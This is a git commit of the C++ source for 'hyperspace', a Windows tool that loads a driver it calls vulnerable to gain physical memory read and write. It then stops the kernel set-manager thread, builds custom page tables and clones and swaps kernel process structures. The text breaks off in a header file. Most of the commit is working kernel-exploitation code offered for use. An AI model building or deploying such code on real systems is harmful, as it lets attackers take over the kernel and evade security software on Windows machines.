init commit

master
_xeroxz 3 years ago
parent 084224d395
commit 0a6b262243

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 nasa-tech
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30114.105
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "hyperspace", "hyperspace\hyperspace.vcxproj", "{0D48757A-F5A2-4DCA-A5A1-5A18A4E9AFBC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0D48757A-F5A2-4DCA-A5A1-5A18A4E9AFBC}.Release|x64.ActiveCfg = Release|x64
{0D48757A-F5A2-4DCA-A5A1-5A18A4E9AFBC}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0C5D746C-EAC0-4C44-A5A1-A9E3973F40FC}
EndGlobalSection
EndGlobal

@ -0,0 +1,59 @@
#include "hyper_ctx.hpp"
namespace hyperspace
{
hyper_ctx::hyper_ctx(ptm::ptm_ctx* target_ctx)
:
target_ctx(target_ctx),
v_ctx(target_ctx->v_ctx)
{
orig_context.first = v_ctx->get_virtual(
reinterpret_cast<std::uintptr_t>(target_ctx->dirbase));
orig_context.second =
reinterpret_cast<std::uintptr_t>(target_ctx->dirbase);
// make a new context 1:1 with the target process...
hyperspace_context.first = v_ctx->kalloc(PAGE_4KB);
hyperspace_context.second =
v_ctx->get_physical(this->hyperspace_context.first);
v_ctx->wkm(reinterpret_cast<void*>(this->hyperspace_context.first),
reinterpret_cast<void*>(this->orig_context.first), PAGE_4KB);
// make a new kprocess 1:1 with the target process...
orig_peproc = v_ctx->get_peprocess(target_ctx->pid);
clone_peproc = reinterpret_cast<PEPROCESS>(v_ctx->kalloc(PAGE_4KB));
v_ctx->wkm(clone_peproc, orig_peproc, PAGE_4KB);
// 1: kd > dt !_KPROCESS
// nt!_KPROCESS
// + 0x000 Header : _DISPATCHER_HEADER
// + 0x018 ProfileListHead : _LIST_ENTRY
// + 0x028 DirectoryTableBase : Uint8B <=== swap this with new pml4...
const auto dirbase_ptr =
reinterpret_cast<std::uintptr_t>(clone_peproc) + KPROCESS_DIRBASE_OFFSET;
v_ctx->wkm<std::uintptr_t>(dirbase_ptr, hyperspace_context.second);
}
auto hyper_ctx::hyper_jmp(std::uint32_t tid) -> void
{
const auto current_thread =
reinterpret_cast<std::uintptr_t>(
v_ctx->get_current_thread());
v_ctx->wkm<PEPROCESS>(
current_thread + KTHREAD_PKPROCESS_OFFSET, clone_peproc);
}
auto hyper_ctx::hyper_ret(std::uint32_t tid) -> void
{
const auto current_thread =
reinterpret_cast<std::uintptr_t>(
v_ctx->get_current_thread());
v_ctx->wkm<PEPROCESS>(
current_thread + KTHREAD_PKPROCESS_OFFSET, orig_peproc);
}
}

@ -0,0 +1,25 @@
#include "../ptm_ctx/ptm_ctx.hpp"
// not sure how far back this goes but i think if you are
// on windows 10 you should be alright...
#define KTHREAD_PKPROCESS_OFFSET 0xB8
#define KPROCESS_DIRBASE_OFFSET 0x28
namespace hyperspace
{
class hyper_ctx
{
using virt_addr_t = std::uintptr_t;
using phys_addr_t = std::uintptr_t;
vdm::vdm_ctx* v_ctx;
ptm::ptm_ctx* target_ctx;
std::pair<virt_addr_t, phys_addr_t> hyperspace_context, orig_context;
PEPROCESS clone_peproc, orig_peproc;
public:
explicit hyper_ctx(ptm::ptm_ctx* target_ctx);
auto hyper_jmp(std::uint32_t tid = GetCurrentThreadId()) -> void;
auto hyper_ret(std::uint32_t tid = GetCurrentThreadId()) -> void;
};
}

@ -0,0 +1,168 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{0d48757a-f5a2-4dca-a5a1-5a18a4e9afbc}</ProjectGuid>
<RootNamespace>nasatables</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>hyperspace</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="hyper_ctx\hyper_ctx.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="ptm_ctx\ptm_ctx.cpp" />
<ClCompile Include="set_mgr\set_mgr.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="hyper_ctx\hyper_ctx.hpp" />
<ClInclude Include="ptm_ctx\ptm_ctx.hpp" />
<ClInclude Include="set_mgr\set_mgr.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,73 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{669c9412-63ea-4a6d-8f8e-b51706f33769}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}</UniqueIdentifier>
</Filter>
<Filter Include="resources">
<UniqueIdentifier>{e1778cd8-6b3a-43dc-a95c-7b6f0896373e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="set_mgr\set_mgr.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ptm_ctx\ptm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="hyper_ctx\hyper_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="util\nt.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="set_mgr\set_mgr.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ptm_ctx\ptm_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="hyper_ctx\hyper_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc">
<Filter>resources</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

@ -0,0 +1,3 @@
// Icon Resource Definition
#define MAIN_ICON 102
MAIN_ICON ICON "icon.ico"

@ -0,0 +1,64 @@
#include "ptm_ctx/ptm_ctx.hpp"
#include "set_mgr/set_mgr.hpp"
#include "hyper_ctx/hyper_ctx.hpp"
int __cdecl main(int argc, char** argv)
{
const auto [drv_handle, drv_key] = vdm::load_drv();
if (!drv_handle || drv_key.empty())
{
std::printf("[!] unable to load vulnerable driver...\n");
return -1;
}
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
ptm::ptm_ctx my_proc(&vdm);
const auto set_mgr_pethread =
set_mgr::get_setmgr_pethread(vdm);
const auto result =
set_mgr::stop_setmgr(vdm, set_mgr_pethread);
std::printf("[+] cr3 -> 0x%p\n", vdm.readcr3());
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
_read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.read_phys(buffer, addr, size);
};
_write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.write_phys(buffer, addr, size);
};
vdm.set_read(_read_phys);
vdm.set_write(_write_phys);
hyperspace::hyper_ctx hyperspace(&my_proc);
hyperspace.hyper_jmp();
{
for (auto idx = 0u; idx < 10; ++idx)
std::printf("[+] hyperspace cr3 -> 0x%p\n", vdm.readcr3());
}
hyperspace.hyper_ret();
std::printf("[+] press any key to close...\n");
std::getchar();
}

@ -0,0 +1,515 @@
#include "ptm_ctx.hpp"
namespace ptm
{
ptm_ctx::ptm_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
:
v_ctx(v_ctx),
dirbase(get_dirbase(*v_ctx, pid)),
pid(pid)
{
// find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(*v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx)
{
if (!v_ctx->rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).present)
{
this->pml4e_index = idx;
break;
}
}
// allocate a pdpt
this->new_pdpt.second =
reinterpret_cast<ppdpte>(
VirtualAlloc(
NULL,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pdpt.second, PAGE_4KB);
// get page table entries for new pdpt
pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
this->new_pdpt.first =
reinterpret_cast<ppdpte>(
new_pdpt_entries.pt.second.pfn << 12);
// make a new pml4e that points to our new pdpt.
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
// set the pml4e to point to the new pdpt
set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
this->pml4e_index, new_pdpt_entries.pml4.second, true);
// make a new pd
this->new_pd.second =
reinterpret_cast<ppde>(
VirtualAlloc(
NULL,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pd.second, PAGE_4KB);
// get paging table entries for pd
pt_entries new_pd_entries;
hyperspace_entries(new_pd_entries, this->new_pd.second);
this->new_pd.first =
reinterpret_cast<ppde>(
new_pd_entries.pt.second.pfn << 12);
// make a new pt
this->new_pt.second =
reinterpret_cast<ppte>(
VirtualAlloc(
NULL,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt
pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second);
this->new_pt.first =
reinterpret_cast<ppte>(
new_pt_entries.pt.second.pfn << 12);
}
ptm_ctx::~ptm_ctx()
{
const auto pml4 =
reinterpret_cast<ppml4e>(
set_page(dirbase))[pml4e_index] = pml4e{ NULL };
}
void* ptm_ctx::set_page(void* addr)
{
++pte_index;
if (pte_index >= 511)
{
++pde_index;
pte_index = 0;
}
if (pde_index >= 511)
{
++pdpte_index;
pde_index = 0;
}
if (pdpte_index >= 511)
pdpte_index = 0;
pdpte new_pdpte = { NULL };
new_pdpte.present = true;
new_pdpte.writeable = true;
new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12;
new_pdpte.user_supervisor = true;
// set pdpte entry
*reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte;
pde new_pde = { NULL };
new_pde.present = true;
new_pde.writeable = true;
new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12;
new_pde.user_supervisor = true;
// set pde entry
*reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde;
pte new_pte = { NULL };
new_pte.present = true;
new_pte.writeable = true;
new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12;
new_pte.user_supervisor = true;
// set pte entry
*reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte;
// set page offset
this->page_offset = virt_addr_t{ addr }.offset;
return get_page();
}
void* ptm_ctx::get_page() const
{
// builds a new address given the state of all table indexes
virt_addr_t new_addr;
new_addr.pml4_index = this->pml4e_index;
new_addr.pdpt_index = this->pdpte_index;
new_addr.pd_index = this->pde_index;
new_addr.pt_index = this->pte_index;
new_addr.offset = this->page_offset;
// handle TLB issues, the TLB might need to be flushed for this entry...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
while (true)
{
// try again to access the page...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
// try one last time by yeilding execution...
__except (EXCEPTION_EXECUTE_HANDLER)
{}
while (!SwitchToThread())
continue;
}
}
return new_addr.value;
}
void* ptm_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{
const auto peproc =
reinterpret_cast<std::uint64_t>(
v_ctx.get_peprocess(pid));
return reinterpret_cast<void*>(
v_ctx.rkm<pte>(peproc + 0x28).pfn << 12);
}
bool ptm_ctx::hyperspace_entries(pt_entries& entries, void* addr)
{
if (!addr || !dirbase)
return false;
virt_addr_t virt_addr{ addr };
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
entries.pml4.second = v_ctx->rkm<pml4e>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
if (!entries.pml4.second.value)
return false;
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
entries.pdpt.second = v_ctx->rkm<pdpte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
if (!entries.pdpt.second.value)
return false;
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
entries.pd.second = v_ctx->rkm<pde>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
// if its a 2mb page
if (entries.pd.second.large_page)
{
entries.pt.second.value = entries.pd.second.value;
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
return true;
}
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
entries.pt.second = v_ctx->rkm<pte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
if (!entries.pt.second.value)
return false;
return true;
}
auto ptm_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair<ppte, pte>
{
if (!dirbase || !addr)
return { {}, {} };
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pt.first, entries.pt.second };
return { {}, {} };
}
bool ptm_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
{
if (!dirbase || !addr)
return false;
if (use_hyperspace)
return v_ctx->wkm(
v_ctx->get_virtual(
reinterpret_cast<std::uintptr_t>(addr)), pte);
return write_phys(addr, pte);
}
auto ptm_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair<ppde, pde>
{
if (!dirbase || !addr)
return { {}, {} };
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pd.first, entries.pd.second };
return { {}, {} };
}
bool ptm_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
{
if (!dirbase || !addr)
return false;
if (use_hyperspace)
return v_ctx->wkm(
v_ctx->get_virtual(
reinterpret_cast<std::uintptr_t>(addr)), pde);
return write_phys(addr, pde);
}
auto ptm_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair<ppdpte, pdpte>
{
if (!dirbase || !addr)
return { {}, {} };
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pdpt.first, entries.pdpt.second };
return { {}, {} };
}
bool ptm_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
{
if (!dirbase || !addr)
return false;
if (use_hyperspace)
return v_ctx->wkm(
v_ctx->get_virtual(
reinterpret_cast<std::uintptr_t>(addr)), pdpte);
return write_phys(addr, pdpte);
}
auto ptm_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair<ppml4e, pml4e>
{
if (!dirbase || !addr)
return { {}, {} };
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pml4.first, entries.pml4.second };
return { {}, {} };
}
bool ptm_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
{
if (!dirbase || !addr)
return false;
if (use_hyperspace)
return v_ctx->wkm(
v_ctx->get_virtual(
reinterpret_cast<std::uintptr_t>(addr)), pml4e);
return write_phys(addr, pml4e);
}
auto ptm_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
{
if (!buffer || !addr || !size || !dirbase)
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
read_phys
(
buffer,
virt_to_phys(entries, addr),
size
);
return
{
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
};
}
else
{
// cut remainder
const auto [new_buffer_addr, new_addr] = read_virtual
(
buffer,
addr,
PAGE_4KB - virt_addr.offset
);
// forward work load
return read_virtual
(
new_buffer_addr,
new_addr,
size - (PAGE_4KB - virt_addr.offset)
);
}
}
auto ptm_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair<void*, void*>
{
if (!buffer || !addr || !size || !dirbase)
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
write_phys
(
buffer,
virt_to_phys(entries, addr),
size
);
return
{
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
};
}
else
{
// cut remainder
const auto [new_buffer_addr, new_addr] = write_virtual
(
buffer,
addr,
PAGE_4KB - virt_addr.offset
);
// forward work load
return write_virtual
(
new_buffer_addr,
new_addr,
size - (PAGE_4KB - virt_addr.offset)
);
}
}
bool ptm_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
{
std::printf("[+] buffer -> 0x%p\n", buffer);
std::printf("[+] addr -> 0x%p\n", addr);
std::getchar();
DebugBreak();
return false;
}
const auto temp_page = set_page(addr);
__try
{
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return false;
}
return true;
}
bool ptm_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
{
std::printf("[+] buffer -> 0x%p\n", buffer);
std::printf("[+] addr -> 0x%p\n", addr);
std::getchar();
DebugBreak();
return false;
}
const auto temp_page = set_page(addr);
__try
{
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return false;
}
return true;
}
void* ptm_ctx::virt_to_phys(pt_entries& entries, void* addr)
{
if (!addr || !dirbase)
return {};
const virt_addr_t virt_addr{ addr };
// traverse paging tables
auto pml4e = read_phys<::pml4e>(
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);
entries.pml4.first = reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index;
entries.pml4.second = pml4e;
if (!pml4e.value)
return NULL;
auto pdpte = read_phys<::pdpte>(
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
entries.pdpt.second = pdpte;
if (!pdpte.value)
return NULL;
auto pde = read_phys<::pde>(
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
entries.pd.second = pde;
if (!pde.value)
return NULL;
auto pte = read_phys<::pte>(
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
entries.pt.second = pte;
if (!pte.value)
return NULL;
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
}
}

@ -0,0 +1,80 @@
#pragma once
#include "../util/nt.hpp"
#include "../vdm_ctx/vdm_ctx.hpp"
namespace ptm
{
class ptm_ctx
{
public:
explicit ptm_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
~ptm_ctx();
auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
bool set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
